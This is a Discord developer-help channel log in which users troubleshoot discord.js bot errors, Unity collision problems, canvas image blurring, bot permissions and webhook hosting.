#development

1 messages · Page 67 of 1

boreal iron
#

<client>.application.commands.create(...);

#

When registering this as global command, you can simply pass the previous built structure

whole glen
#

ok thanks i must have not saved my code or something

boreal iron
#

<client>.application.commands.create(guildCommand);

#

or

#

<client>.application.commands.create(guildCommand, <guild ID>);

#

or

#

<guild>.commands.create(guildCommand);

whole glen
#

thanks

neon leaf
#

Is there any way to make the captcha fit in? (react + chakra)

rigid maple
#

how can i create stream in @Discordjs/voice and write in a pcm file (voice-recorder)

lyric mountain
sharp geyser
#

Why have captcha anyway

#

Not like they stop bot accounts tbh

quartz kindle
neon leaf
#

ich bin in der tat kein roboter

neon leaf
sharp geyser
#

captchas are meant to verify humanity ong

neon leaf
#

and for preventing 200 spam accounts a second

sharp geyser
#

but they suck

quartz kindle
#

i always liked the honeypot method

#

only works against automated crawlers and bots tho, wont work if someone designs a bot specifically for your website

hidden gorge
rustic nova
#

as the message says, you cant use await outside a non async function

hidden gorge
#

but where tf is the async

rustic nova
#

there is none, thats why

#

you need to make the class initializer async

#

actually, is that even possible on an init

eternal osprey
#

hey guys

#

my .setname doesn't do what i ask it to do

#

it doesn't allow : does it?

#

How can i make sure it will say 11:16 instead of fucking 1116 ( I set the channel name to: 11:16 PM and it automatically fucks the annotation up)

wheat mesa
rustic nova
#

so you'd just have a wrapper function instead that does the setup

eternal osprey
#

hey guys

#

why can't i change my channel name more than 2 times?

#

If i do so, the interval timer still runs but it doesn't change the channel name anymore

rustic nova
#

ratelimits

#

thats why

#

or well, might depend on your code too, post your code here

solemn latch
#

restful sql

quartz kindle
#

its possible to have an async constructor

#

but its not recommended

solemn latch
#

👀 thats neat

solemn latch
quartz kindle
#

depends on the purpose

#

but the semantically correct way would be an async method

#

like ```js
const a = new A();
await a.init();

solemn latch
#

duh, that makes sense.

quartz kindle
#

you can also use a ready event if your class already uses events for other things

#

or if your class has multiple ready levels, like a discord lib

#

connection ready, identify ready, all guilds ready, etc

rigid maple
#

how can i create stream in @discordjs/voice and write in a pcm file (voice-recorder)

quartz kindle
#

but that gives you an opus stream, not pcm

rustic nova
#

"not working this" does not help much

rigid maple
#

pcm file but 1 second only noise

pallid zinc
#

anyone who has worked with vim, can u tell me why my after folder is not executing i have a simple print statement init and it not showing when i open up vim

earnest phoenix
#
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30
      parseFloat(setfields.getTextInputValue("giveaway-winners"))
                 ^

ReferenceError: setfields is not defined
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30:18)
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
    at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
    at Client.emit (node:events:525:35)
    at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
    at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
    at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
    at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
    at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
    at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
    at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
    at WebSocket.emit (node:events:513:28)
    at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
    at Receiver.emit (node:events:513:28)
    at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
    at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)
#

    const winners = Math.round(
      parseFloat(fields.getTextInputValue("giveaway-winners"))
    );
#

i don t see where s my mistake

#

damn u helped me a lot

#

like i don t know to define fields

#
const {
  Client,
  EmbedBuilder,
  ActionRowBuilder,
  ButtonBuilder,
  ModalSubmitInteraction,
  PermissionsBitField,
  ButtonStyle,
} = require("discord.js");```
#

EmbedBuilder

#
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:29
    const winners = Math.round(
                         ^

ReferenceError: setfields is not defined
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:29:26)
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
    at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
    at Client.emit (node:events:525:35)
    at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
    at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
    at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
    at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
    at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
    at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
    at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
    at WebSocket.emit (node:events:513:28)
    at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
    at Receiver.emit (node:events:513:28)
    at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
    at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)
#
 execute(interaction) {
    const embed = new EmbedBuilder().setColor("Blurple").setTimestamp();

    const prize = interaction.fields
      .getTextInputValue("giveaway-prize")
      .slice(0, 256);

    const winners = Math.round(
      parseFloat(setfields().getTextInputValue("giveaway-winners"))
    );

    const duration = fields.getTextInputValue("giveaway-duration");

    if (isNaN(winners) || !isFinite(winners) || winners < 1) {
      embed.setDescription("🔹 | Please provide a valid winner count.");
      return interaction.reply({ embeds: [embed], ephemeral: true });
    }```
#

line 30

#

const winnvers = math.

#
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30
      embed.setField({ name: 'Winners', value: fields.getTextInputValue("giveaway-winners") })
                                               ^

ReferenceError: fields is not defined
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30:48)
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
    at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
    at Client.emit (node:events:525:35)
    at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
    at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
    at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
    at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
    at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
    at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
    at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
    at WebSocket.emit (node:events:513:28)
    at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
    at Receiver.emit (node:events:513:28)
    at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
    at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)
#

lol

#
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30
      embed.setField({ name: 'Winners', value: interaction.fields.getTextInputValue("giveaway-winners") })
            ^

TypeError: embed.setField is not a function
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:30:13)
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
    at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
    at Client.emit (node:events:525:35)
    at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
    at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
    at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
    at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
    at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
    at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
    at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
    at WebSocket.emit (node:events:513:28)
    at Receiver.receiverOnMessage 
    at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)```
#

bruh

#

Would make sense that it's setFields and not setField, no?

#

maybe?

#

let me

#

bruh

#

i got an idea

earnest phoenix
#

i think i already fixed it=]]]

#

wait 2 mins

#

nah

#

got api err

#

let me try ur version @earnest phoenix

#

ik

#

that s ez

#

ik x2

#
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:33
    const duration = fields.getTextInputValue("giveaway-duration");
                     ^

ReferenceError: fields is not defined
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:33:22)
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
    at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
    at Client.emit (node:events:525:35)
    at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
    at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
    at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
    at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
    at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
    at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
    at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
    at WebSocket.emit (node:events:513:28)
    at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
    at Receiver.emit (node:events:513:28)
    at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)
    at Receiver.getData (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:446:17)```
#

bruh

#

wait

#

fields is not defined

#
Lavalink · Node vision - Node 01 connected!
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:35
    if (isNaN(winners) || !isFinite(winners) || winners < 1) {
              ^

ReferenceError: winners is not defined
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:35:15)
    at Object.execute (C:\Users\Administrator\Desktop\vision\src\events\interaction\modalInteraction.js:41:11)
    at Client.execute (C:\Users\Administrator\Desktop\vision\src\structures\handlers\events.js:10:40)
    at Client.emit (node:events:525:35)
    at InteractionCreateAction.handle (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\actions\InteractionCreate.js:81:12)
    at module.exports [as INTERACTION_CREATE] (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\handlers\INTERACTION_CREATE.js:4:36)
    at WebSocketManager.handlePacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketManager.js:352:31)
    at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:480:22)
    at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
    at callListener (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:290:14)
    at WebSocket.onMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\event-target.js:209:9)
    at WebSocket.emit (node:events:513:28)
    at Receiver.receiverOnMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\websocket.js:1178:20)
    at Receiver.emit (node:events:513:28)
    at Receiver.dataMessage (C:\Users\Administrator\Desktop\vision\node_modules\ws\lib\receiver.js:528:14)

#

did it already

#

Lavalink · Node vision - Node 01 connected!
Database · vision has successfully connected to the database.
C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:67
endTime: formattedDuration,
^

ReferenceError: formattedDuration is not defined
at C:\Users\Administrator\Desktop\vision\src\modals\createGiveaway.js:67:20
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

Node.js v18.12.1

#

formattedDuration is not defined

#

You keep on using variables that are never defined

#
 .then(async (message) => {
        await DB.create({
          id: interaction.guild.id,
          channel: interaction.channel.id,
          endTime: formattedDuration,
          hasEnded: false,
          hoster: interaction.user.id,
          prize: prize,
          winners: winners,
          isPaused: false,
          messageID: message.id,
          enteredUsers: [],
        }).then((data) => {
          setTimeout(() => {
            if (!data.hasEnded) endGiveaway(message);
          }, duration);
        });```
#

it isn t

real leaf
#

This code is completely copied 😅

earnest phoenix
quartz kindle
#

check their package json, its up to date but pretty messy

rigid maple
opaque acorn
#

website

echo marlin
#

Yo how to delete a bot on top.gg

solemn latch
#

on the bot page, in the creator controls section click "delete"

echo marlin
#

Where u mean?

solemn latch
onyx socket
#

How do you add emojis in embed title??

digital swan
#

You basically just put the emoji there

frigid robin
#

Small question, if I add functionality to my bot which requires more permissions, how would I be able to update its permissions on existing servers? I mean I can update on the developer page but existing servers won't get it, right?

earnest phoenix
#

The best thing to do is to actually check for the permissions you need and short-circuit if the bot doesn't have the required permissions

#

And to also tell what permissions are missing

pure steppe
#
node:events:491
      throw er; // Unhandled 'error' event
      ^

TypeError: Cannot read properties of undefined (reading 'send')
    at Client.<anonymous> (C:\Users\Administrator\Desktop\GAD GMod Status\index.
js:38:10)
    at Client.emit (node:events:513:28)
    at WebSocketManager.triggerClientReady (C:\Users\Administrator\Desktop\GAD G
Mod Status\node_modules\discord.js\src\client\websocket\WebSocketManager.js:385:
17)
    at WebSocketManager.checkShardsReady (C:\Users\Administrator\Desktop\GAD GMo
d Status\node_modules\discord.js\src\client\websocket\WebSocketManager.js:368:10
)
    at WebSocketShard.<anonymous> (C:\Users\Administrator\Desktop\GAD GMod Statu
s\node_modules\discord.js\src\client\websocket\WebSocketManager.js:194:14)
    at WebSocketShard.emit (node:events:513:28)
    at WebSocketShard.checkReady (C:\Users\Administrator\Desktop\GAD GMod Status
\node_modules\discord.js\src\client\websocket\WebSocketShard.js:511:12)
    at WebSocketShard.onPacket (C:\Users\Administrator\Desktop\GAD GMod Status\n
ode_modules\discord.js\src\client\websocket\WebSocketShard.js:483:16)
    at WebSocketShard.onMessage (C:\Users\Administrator\Desktop\GAD GMod Status\
node_modules\discord.js\src\client\websocket\WebSocketShard.js:320:10)
    at callListener (C:\Users\Administrator\Desktop\GAD GMod Status\node_modules
\ws\lib\event-target.js:290:14)
Emitted 'error' event on Client instance at:
    at emitUnhandledRejectionOrErr (node:events:394:10)
    at process.processTicksAndRejections (node:internal/process/task_queues:84:2
1)

Node.js v18.12.1
#

i am getting this error and i have tried all sorts of things

earnest phoenix
frigid robin
earnest phoenix
#

Asking for Administrator permission is also pretty inconvenient for the user, and also pretty risky, implementing a proper permission handler and such isn't hard to be honest

frigid robin
#

It's pretty bad ux on discord side though. Imagine bots on millions of servers have to be re-invited instead of having a feature to ask for new perms

pure steppe
quartz kindle
#

channel is undefined

pure steppe
#

no

quartz kindle
#

thats what the error says

#

show how you define channel

pure steppe
#

const channel = client.channels.cache.get(channelID);

#

channelID depends on config.json

quartz kindle
#

the id is invalid or the channel doesnt exist, or the channel is not cached

#

if you are trying to get the channel before the bot is ready, it will not work

#

the bot has to be ready for channels to be cached

earnest phoenix
solemn latch
#

its also so insanely easy to setup a permission handler.

pure steppe
north nymph
#

In your handler, check for an abstracted method of something like getRequiredPermissions and return an array of the required permissions objects from your command to the handler class

#

And run a check on getRequiredPermissions() in the handler class/file, incase the bot doesn't have it; then log the permissions which aren't found in an array or a string or whatever and send it to the user the way you want

wheat mesa
#

You need to fetch the channel for it to be guaranteed to exist (assuming that your bot has access to it and the ID is valid)

north nymph
#

it would look like that in java

#

and here's an example for the handling of the generic class (Abstraction manager), Get an idea off the code and make a similar one in whatever language you're using

wheat mesa
#

If he’s asking about those errors I don’t think he’s going to understand the Java version of it :p

#

Also I’m not sure if the JVM optimizes this or not but creating a HashMap every time for those functions might be kinda bad for memory allocation

north nymph
#

It becomes inaccessible after the execution of the method so it'll just get replaced in memory, there are of course better ways to do things but eh not a big deal as it won't result in memory leaks, this is java

wheat mesa
#

HashMaps allocate quite a bit of memory, since that’s how they work

solemn latch
tired jacinth
#

hello may I ask how perms should a bot have to use emojis in other servers ?

earnest phoenix
#

Use external emojis, just like users

tired jacinth
earnest phoenix
#

The bot needs to be in the server where the emoji is obviously

#

Then if permission is given correctly, it can use them

tired jacinth
#

all the perms are set so so the emoji server maybe the server is on privet mode I think?

north nymph
#

The bot needs permissions to use external emojis on the server it's gonna send it to (Unless it's excluded for bot accounts, which i don't think so)

north nymph
tired jacinth
#

the bot have admin perms as well as this perms but no emoji are showing only : badges :

#

but in my support server it work just fine I am so confused

tired jacinth
#

of the used emoji ?

north nymph
#

yes

tired jacinth
#
.addField(`:PINNED: • User id : `,`\`${u.id}\``,true)
north nymph
#

discord.js i assume

tired jacinth
#

so the problem from the discord js ?

north nymph
#

nah nah wait

#

i ain't too good with js but eh i guess it should look like that

let emojiCode = clientObject.getGuild(enter guild id that contains the emoji in here).getEmojiByName("emoji's name, without :").getAsReactionCode();

// And in add field,
.addField(`${emojiCode} • User id : `,`\`${u.id}\``,true)
#

You'll find method names completely different, just explaining that you need to get the guild, then get the emoji by it's name and get it as a reaction code

tired jacinth
#

is this a new update cuz it used to work just fine just yesterday that starting to show no emojis

north nymph
#

it'll work on the guild which contains an emoji with the name of :PINNED:

#

but on any other guild, no

#

what discord.js version are you using? i'll get you the exact code if you're still confused

tired jacinth
#

no I use the full emoji id I can't send it here that all

solemn latch
north nymph
#

he's not a dev asking for code, i'm just doing it so he gets the concept

tired jacinth
#

we are so sorry for any trouble

solemn latch
#

you can use psudeo code to share concepts, its better for them to learn themselves rather than copy pasting your code

tired jacinth
#

yea true u got a point there

#

we so sorry

#

my head is spinning and I just wanted some more info

lyric mountain
#

oh, nice, java

#

tho that's some quite verbose command handler

#

and .forEach 😩

#

and as waffle said, those hashmaps could be replaced with a single global map, or better yet a function that returns the string on a switch statement

sharp geyser
#

So I found a neat little bug I have no idea how to fix in my unity game sunglas

#

Whenever I press play, the character just falls through the floor

lyric mountain
#

collision mesh setup properly?

sharp geyser
#

Yup

#

Probably something to do with my code tbh

#

But I dont see anything that could interfere with collision detection

#
using UnityEngine;
using UnityEngine.InputSystem;

public class PlayerController : MonoBehaviour
{
    public float Speed = 10;
    public CharacterMover characterMover;
    public CameraMover cameraMover;
    private Rigidbody rb;
    private Vector3 MoveDirection;

    private void Start()
    {
        characterMover = gameObject.AddComponent<CharacterMover>();
        cameraMover = gameObject.AddComponent<CameraMover>();
        rb = characterMover.rb;
    }

    public void Movement(InputAction.CallbackContext context)
    {
        if (!characterMover.IsGrounded()) return;

        if (context.action.IsPressed())
        {
            Vector2 speed = context.action.ReadValue<Vector2>() * Speed;
            MoveDirection = new(speed.x, rb.velocity.y, speed.y);
        }
        else
        {
            MoveDirection = Vector3.zero;
        }
    }

    private void Update()
    {
        if (rb == null) return;

        cameraMover.Move(rb.position);
        characterMover.Move(MoveDirection);
    }
}
#
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class CameraMover : MonoBehaviour
{
    public Camera playerCamera;

    // Start is called before the first frame update
    void Start()
    {
        playerCamera = gameObject.AddComponent<Camera>();
    }

    public void RotateCamera()
    {

    }

    public void Move(Vector3 position)
    {
        playerCamera.transform.position = position;
    }
}
#
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class CharacterMover : MonoBehaviour
{

    public Rigidbody rb;
    // Start is called before the first frame update
    void Start()
    {
        rb = gameObject.AddComponent<Rigidbody>();
    }

    public bool IsGrounded()
    {
        if (rb == null) return false;

        return Physics.Raycast(rb.position + Vector3.up * 0.05f, Vector3.down, 0.1f, 3);
    }

    public void Move(Vector3 direction)
    {
        if(rb == null) return;

        rb.velocity = direction;
    }
}
#

Literally everything i've done

#

I see nothing that could interfere with the collisions or cause it to ignore the floor falling through

lyric mountain
#

rb wont be null

#

since u didnt declare it as nullable

#

check against default instead

sharp geyser
#

default?

lyric mountain
#

rb == default

sharp geyser
#

Yea I know what you mean

lyric mountain
#

when I was making a c# project I had to deal with its null safety stuff

sharp geyser
#

but never heard of default

lyric mountain
#

unless u declare something as nullable, it'll never be null, it'll receive default instead

#

u can also just use rb?.velocity = direction too

#

to be extra safe

#

that way u dont need more than one line

sharp geyser
#

That would just cause more issues by the looks of it

lyric mountain
#

not really, it wont assign unless it has a value

sharp geyser
#

Talking about the left side of an assignment must be a variable, indexer or property

#

using ? does some weird stuff it seems

lyric mountain
#

never tried it in c#, but in groovy it works

#

anyway, the issue is probably in isGrounded() method

#

is rb ever null? like, even if it was nullable?

sharp geyser
#

It shouldn't be unless it was never supplied to the CharacterMover script

#

but I always make sure it is before hand

#

also AddComponent should return the rigidbody directly after adding it as a reference to the CharacterMover script

lyric mountain
#

try debugging while the game is running

sharp geyser
#

Never used Visual Studio's debugger before

#

Time to figure this out

lyric mountain
#

visual studio?

#

for unity?

sharp geyser
#

Oh

#

Did you not mean debug my code?

lyric mountain
#

well yes, but u can do that from unity no?

#

doesn't it have a built-in editor?

sharp geyser
#

You can also do it from Visual Studio if you wanted

lyric mountain
#

oic

#

there's also rider if u have toolbox license

sharp geyser
#

I uninstalled all jetbrains products

#

I decided to just stick with vscode and visual studio from now on

sharp geyser
#

None of the options standout to me

#

everything looks correct

lyric mountain
#

try making the floor collision mesh thicker

sharp geyser
#

I see no way tto change the thickness of it

#

It seems mesh collider doesn't not have a way to change something like that

#

I can add a box collider on it if need be

lyric mountain
#

give it a try

sharp geyser
#

Yea doesn't change anything

#

I made the box collider's collision points thicker on the Y and still falls through

#

and now I gtg didntt realize the time

lament rock
#

what was the issue?

#

oh falling through

#

@sharp geyser you should check your collision matrix to make sure the layer the player is on and the floor collide with each other/itself

lament rock
#

should also use gravity. Idk if isKinematic would help or not

sharp geyser
#

and if I wanna make custom gravity stuff which I plan on doing Gravity has to be false

earnest phoenix
#

when i got the active dev badge my bot has been messing up lately

sharp geyser
#

I dont think the badge has anything to do with your bot

earnest phoenix
#

Could it be rate limit?

sharp geyser
#

Seems like shard 0 is just struggling to stay alive, could be a number of issues

earnest phoenix
#

hi

clever elm
#

I know python but it doesnt work sonI used blockstopggJoy

#

turkvarmi Woah who added Turkish flag

#

Well I am Turkish

dry imp
#

i can tell

lyric mountain
# earnest phoenix

considering it's python, do you have any heavy task running on the bot?

earnest phoenix
#

.

sleek bear
#

Is it possible in python to create one picture of multiple ones on command. The pics are stored in a database with links

solemn latch
#

OpenCV for python seems to allow combining images.

earnest phoenix
#

Though very inefficient from what I've heard

earnest phoenix
#

hi

crystal wigeon
#

hey does anyone use nextjs?

#

how can i server pubic files from cdn

orchid nebula
#

Hey,
I am trying to do something with canvas. I wants to blur the background image and text is fine. My code looks like this but image is not getting blur.

const canvas = makeCanvas;
const ctx = canvas.getContext('2d');
ctx.filter = 'blur(4px)';
    ctx.drawImage(background, 0, 0, canvas.width, canvas.height);
var textString3 = `Your Eyes (feat. Taqiya Zaman )`;
    ctx.font = 'bold 60px Genta';
        ctx.fillStyle = '#f2f2f2';
        ctx.fillText(textString3, 320, canvas.height / 2 + 20);
lyric mountain
#

aside from that, did u try just blur(4)?

orchid nebula
#

Umm wait I'll try just now

orchid nebula
# lyric mountain aside from that, did u try just `blur(4)`?

Hey this is what my code actually looks like now i tried to do same but still didn't worked.

const canvas = Canvas.createCanvas(1772, 1972);
      const ctx = canvas.getContext('2d')
      const background = await Canvas.loadImage(`https://media.discordapp.net/attachments/935795447082131466/1042813214544638012/images.jpg`);
      ctx.drawImage(background, 0, 0, canvas.width, canvas.height);
    ctx.filter = 'blur(4)';
    ctx.drawImage(background, 0, 0, canvas.width, canvas.height);
    const textString3 = `Your Eyes (feat. Taqiya Zaman)`;
    ctx.font = 'bold 60px Genta';
        ctx.fillStyle = '#f2f2f2';
        ctx.fillText(textString3, 320, canvas.height / 2 + 20);
    const attachment = new MessageAttachment(canvas.toBuffer(), 'anime.jpg');```
#

I think the blur is working at the canvas but not on the background any idea bout how can I add filter on that

lyric mountain
#

why are u drawing the background twice?

orchid nebula
#

Ya i got it XD

whole glen
#

can you connect the top.gg vote api with a code running on visual studio?

solemn latch
#

I dont see why not.

whole glen
#

but it needs a web address to send data to bot

boreal iron
#

Once you're running the webserver in your app, you gonna use your public IPv4 address and configured port (and route) as target.

#

You require to actually have a real IPv4 address (no DS lite), to open the configured port in your firewall and forward the port in your router to your target device (the PC running the vsc app).

lyric mountain
#

make sure to close it when ur not testing tho

winged linden
#

guys i need help pls asap

earnest phoenix
winged linden
#

during test bot works normally, i update the token to my main bot, it gets stuck

#

no fucking idea why, main was working all good before that

#

those are 2 different tokens(bots)^

#

any idea why?

earnest phoenix
#

Your bot probably hit a ratelimit on gateway identify events

winged linden
winged linden
earnest phoenix
#

You don't get ratelimited because of that

winged linden
#

ah why then

earnest phoenix
#

If your bot tries to login to the Discord gateway more than a 1,000 times you'll be ratelimited for the entire day, but since it connected just now I suppose it's not ratelimited, you probably have network issues

winged linden
#

its something weird i really didnt know whats wrong lol

earnest phoenix
#

You can always listen to the warn, error, and debug events of the client to see what's actually happening

winged linden
#

i never got no errors

#

bot was just not launching...

#

i reset my token now and it worked, really dk what was wrong lol

earnest phoenix
#

I didn't say you did, the cause of the bot not launching can be hidden away so you can listen to those events to reveal it

winged linden
#

thanks sir 🤝

earnest phoenix
#

You're welcome

#

@earnest phoenix oh this is your place mmulu

#

Yes mmLol

thorny pewter
#

anyone who develops with Python, can i get some help?

#

I keep getting this wall of red text and i have no idea what i did wrong, I practically copy pasted this from someone it worked for

lament rock
#

If you're hosting off shared hosting, don't. Noisy neighbors can get the host machine banned

thorny pewter
#

im using replit

lament rock
#

Bad idea

#

buy your own vps

thorny pewter
#

i see

#

well thank you, ill look into vps

thorny pewter
#

yes

dry imp
#

kill 1 on shell

thorny pewter
dry imp
#

but please dont use replit on production, you can use it for development but generally replit is not really a good 24/7 discord bot hosting

thorny pewter
#

Got it! Thank you

lyric mountain
uneven tartan
#

progress

thorny pewter
#

Is it possible to make a bot say something when someone joins a voice channel?

sharp geyser
#

You can check voice state on the channel and if someone who’s not a bot joins just play an audio file

thorny pewter
#

im more so thinking if I join the VC the bot would @ someone

sharp geyser
#

Oh sure

#

Just do the same but instead of playing an audio file just send a message in a channel of your choice

#

Please don’t dm me asking for help

#

This channel exists precisely for that reason

rough echo
#

is there a way to find the language of interaction.user
bcz like with locale we can make separate translation for commands and description
but for translation of replies will need to know the language of the interaction user first?

sharp geyser
#

C++ make no sense bruv

#

How do I build my project, with the dependencies I am requiring, I was recommended to use CMake and have a CmakeList.txt that links to my deps but what do I do after running cmake on my project and it outputs to a build folder

wheat mesa
#

lol have fun with C++ libs

#

What are you trying to use?

stiff dust
tired jacinth
#

hello why does interactions need perms from everyone to post external emojis ?

stiff dust
tired jacinth
#

although have full perms in all server

stiff dust
#

As I said interaction responses are webhooks and they need Use external emojis permission to be enabled in the everyone role.

#

everyone need to have the perm not the bot

tired jacinth
#

oh fr

#

any way to bypass that

#

I used interaction channel send

#

but go so errors I had to turn off my PC and go to sleep

grand merlin
#

It’s possible to make a bot to say anything you want when someone join a voice channel I have a code I think it v11 I’m not show when I find it I’ll update it to v14 and I’ll post it

lyric mountain
#

better not, you shouldn't spoonfeed code like that

radiant kraken
craggy hull
#

how can i make a table

#

cuz i know have this

| bot commands | Description
| ------ | ------ |
| /help | shows help |
#

but its ugly

lament rock
